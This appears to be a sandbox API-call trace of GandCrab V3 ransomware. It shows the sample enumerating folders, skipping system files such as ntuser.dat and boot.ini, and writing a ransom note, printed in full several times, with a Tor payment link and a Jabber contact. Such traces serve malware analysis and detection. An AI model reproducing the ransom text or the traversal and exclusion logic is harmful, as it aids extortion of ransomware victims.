	[0109.293] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Linguistics\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\adobe\\linguistics\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f0
	[0109.295] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0109.295] WriteFile (in: hFile=0x3f0, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314b4a4, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314b4a4*=0xcce, lpOverlapped=0x0) returned 1
	[0109.295] CloseHandle (hObject=0x3f0) returned 1
	[0109.296] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.296] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Linguistics\\") returned 56
	[0109.296] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Linguistics\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Linguistics\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Linguistics\\*"
	[0109.296] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Linguistics\\*", lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 0xd802e0
	[0109.296] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0109.296] FindNextFileW (in: hFindFile=0xd802e0, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0109.296] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0109.296] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0109.296] FindNextFileW (in: hFindFile=0xd802e0, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0109.296] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0109.296] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0109.296] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Linguistics\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Linguistics\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Linguistics\\CRAB-DECRYPT.txt"
	[0109.296] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0109.297] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Linguistics\\CRAB-DECRYPT.txt") returned 72
	[0109.297] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Linguistics\\CRAB-DECRYPT.txt") returned 72
	[0109.297] lstrlenW (lpString=".txt") returned 4
	[0109.297] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0109.297] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0109.297] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.297] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Linguistics\\CRAB-DECRYPT.txt") returned 72
	[0109.297] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Linguistics\\CRAB-DECRYPT.txt") returned 72
	[0109.297] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0109.297] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0109.297] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0109.297] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0109.297] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0109.297] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0109.297] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0109.297] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0109.297] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0109.298] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.298] FindNextFileW (in: hFindFile=0xd802e0, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 0
	[0109.298] FindClose (in: hFindFile=0xd802e0 | out: hFindFile=0xd802e0) returned 1
	[0109.298] FindNextFileW (in: hFindFile=0xd802a0, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0109.298] lstrcmpW (lpString1="LogTransport2", lpString2=".") returned 1
	[0109.298] lstrcmpW (lpString1="LogTransport2", lpString2="..") returned 1
	[0109.298] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\", lpString2="LogTransport2" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2"
	[0109.298] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\"
	[0109.298] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0109.298] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0109.299] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0109.299] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0109.299] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0109.299] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.299] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314b4c0, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0109.299] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0109.299] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0109.299] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314aca8, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0109.299] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0109.299] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0109.299] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0109.299] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\\\CRAB-DECRYPT.txt") returned 75
	[0109.299] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\adobe\\logtransport2\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f0
	[0109.301] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0109.301] WriteFile (in: hFile=0x3f0, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314b4a4, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314b4a4*=0xcce, lpOverlapped=0x0) returned 1
	[0109.302] CloseHandle (hObject=0x3f0) returned 1
	[0109.302] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.303] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\") returned 58
	[0109.303] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\*"
	[0109.303] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\*", lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 0xd802e0
	[0109.303] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0109.303] FindNextFileW (in: hFindFile=0xd802e0, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0109.303] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0109.303] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0109.303] FindNextFileW (in: hFindFile=0xd802e0, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0109.303] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0109.303] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0109.303] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\CRAB-DECRYPT.txt"
	[0109.303] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0109.303] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\CRAB-DECRYPT.txt") returned 74
	[0109.303] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\CRAB-DECRYPT.txt") returned 74
	[0109.303] lstrlenW (lpString=".txt") returned 4
	[0109.303] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0109.304] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0109.304] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.304] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\CRAB-DECRYPT.txt") returned 74
	[0109.304] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\CRAB-DECRYPT.txt") returned 74
	[0109.304] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0109.304] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0109.304] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0109.304] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0109.304] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0109.304] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0109.304] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0109.304] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0109.304] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0109.304] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.304] FindNextFileW (in: hFindFile=0xd802e0, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0109.305] lstrcmpW (lpString1="Logs", lpString2=".") returned 1
	[0109.305] lstrcmpW (lpString1="Logs", lpString2="..") returned 1
	[0109.305] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\", lpString2="Logs" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs"
	[0109.305] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\"
	[0109.305] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0109.305] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0109.305] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0109.305] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0109.305] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0109.305] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.305] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314aa18, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0109.305] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0109.305] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0109.305] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314a200, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0109.305] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0109.305] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0109.305] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0109.306] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\\\CRAB-DECRYPT.txt") returned 80
	[0109.306] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\adobe\\logtransport2\\logs\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f4
	[0109.306] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0109.306] WriteFile (in: hFile=0x3f4, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314a9fc, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314a9fc*=0xcce, lpOverlapped=0x0) returned 1
	[0109.307] CloseHandle (hObject=0x3f4) returned 1
	[0109.307] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.308] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\") returned 63
	[0109.308] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\*"
	[0109.308] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\*", lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 0xd80360
	[0109.308] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0109.308] FindNextFileW (in: hFindFile=0xd80360, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0109.308] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0109.308] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0109.308] FindNextFileW (in: hFindFile=0xd80360, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0109.308] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0109.308] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0109.308] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\CRAB-DECRYPT.txt"
	[0109.308] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0109.308] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\CRAB-DECRYPT.txt") returned 79
	[0109.308] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\CRAB-DECRYPT.txt") returned 79
	[0109.308] lstrlenW (lpString=".txt") returned 4
	[0109.308] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0109.309] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0109.309] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.309] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\CRAB-DECRYPT.txt") returned 79
	[0109.309] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\CRAB-DECRYPT.txt") returned 79
	[0109.309] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0109.309] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0109.309] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0109.309] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0109.309] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0109.309] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0109.309] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0109.309] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0109.309] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0109.309] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.310] FindNextFileW (in: hFindFile=0xd80360, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 0
	[0109.310] FindClose (in: hFindFile=0xd80360 | out: hFindFile=0xd80360) returned 1
	[0109.310] FindNextFileW (in: hFindFile=0xd802e0, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0109.310] lstrcmpW (lpString1="LogTransport2.cfg", lpString2=".") returned 1
	[0109.310] lstrcmpW (lpString1="LogTransport2.cfg", lpString2="..") returned 1
	[0109.310] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\", lpString2="LogTransport2.cfg" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\LogTransport2.cfg") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\LogTransport2.cfg"
	[0109.310] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0109.310] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\LogTransport2.cfg") returned 75
	[0109.310] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\LogTransport2.cfg") returned 75
	[0109.310] lstrlenW (lpString=".cfg") returned 4
	[0109.310] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0109.310] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".cfg ") returned 5
	[0109.310] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.311] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\LogTransport2.cfg") returned 75
	[0109.311] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\LogTransport2.cfg") returned 75
	[0109.311] lstrcmpiW (lpString1="LogTransport2.cfg", lpString2="desktop.ini") returned 1
	[0109.311] lstrcmpiW (lpString1="LogTransport2.cfg", lpString2="autorun.inf") returned 1
	[0109.311] lstrcmpiW (lpString1="LogTransport2.cfg", lpString2="ntuser.dat") returned -1
	[0109.311] lstrcmpiW (lpString1="LogTransport2.cfg", lpString2="iconcache.db") returned 1
